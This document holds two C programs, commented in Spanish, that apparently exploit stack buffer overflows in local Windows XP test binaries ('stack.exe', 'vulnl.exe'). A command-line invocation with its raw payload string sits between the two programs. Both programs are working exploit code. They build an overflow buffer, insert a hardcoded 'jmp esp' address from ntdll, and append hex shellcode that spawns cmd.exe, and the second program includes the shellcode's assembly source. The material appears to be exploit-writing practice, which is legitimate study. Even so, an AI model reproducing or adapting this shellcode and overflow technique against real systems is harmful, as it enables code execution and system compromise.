#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main()
{
	/*para provocar el stack overflow*/
	char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ";
	/*la shellcode que ejecuta system("cmd.exe"); con la llamada a system hardcodeada*/
    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
		"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
		"\xBB\xC7\x93\xBF\x77\xFF\xD3";
	/*offset al que saltar para ejecutar la shell*/
	//Offset jmp esp ntdll32.dll WinXP SP2 Esp
    char offset[]="\xED\x1E\x95\x7C";

    strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
    strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode

	/*
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);
	*/
	/*
    argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
    argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
    argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
	*/

	char *buffer;buffer=(char *) malloc((strlen(evilbuffer)+strlen("stack.exe")+5)*sizeof(char));
	strcpy(buffer,"stack.exe ");strcat(buffer,evilbuffer);
	system(buffer);

	return;
}

stack.exe AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQÝ▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

int main()
{
	//buffer
	char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
	//direccion de jmp esp de ntdll.dll WinXP SP1 Español
	char Offset[]="\xCC\x59\xFA\x77";
	/*Shellcode con la llamada a system("cmd.exe");
	Offset de la funcion system en msvcrt.dll: 0x77bf8044
	*/
	char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6"
		"\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45"
		"\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE"
		"\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
	/*
	HMODULE Dll=LoadLibrary("msvcrt.dll");
    __asm{
        push ebp
        mov ebp,esp
        xor edi,edi
        push edi
        sub esp,04h
        mov byte ptr [ebp-08h],63h
        mov byte ptr [ebp-07h],6Dh
        mov byte ptr [ebp-06h],64h
        mov byte ptr [ebp-05h],2Eh
        mov byte ptr [ebp-04h],65h
        mov byte ptr [ebp-03h],78h
        mov byte ptr [ebp-02h],65h
        lea eax,[ebp-08h]
        push eax
        mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll
        call ebx
        }
    FreeLibrary(Dll);
	*/

	//creamos el parametro: Buffer + Offset + ShellCode
	strcat(EvilBuffer,Offset);
	strcat(EvilBuffer,ShellCode);
	//explotamos }:-D
	ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true);	
	return 0;
}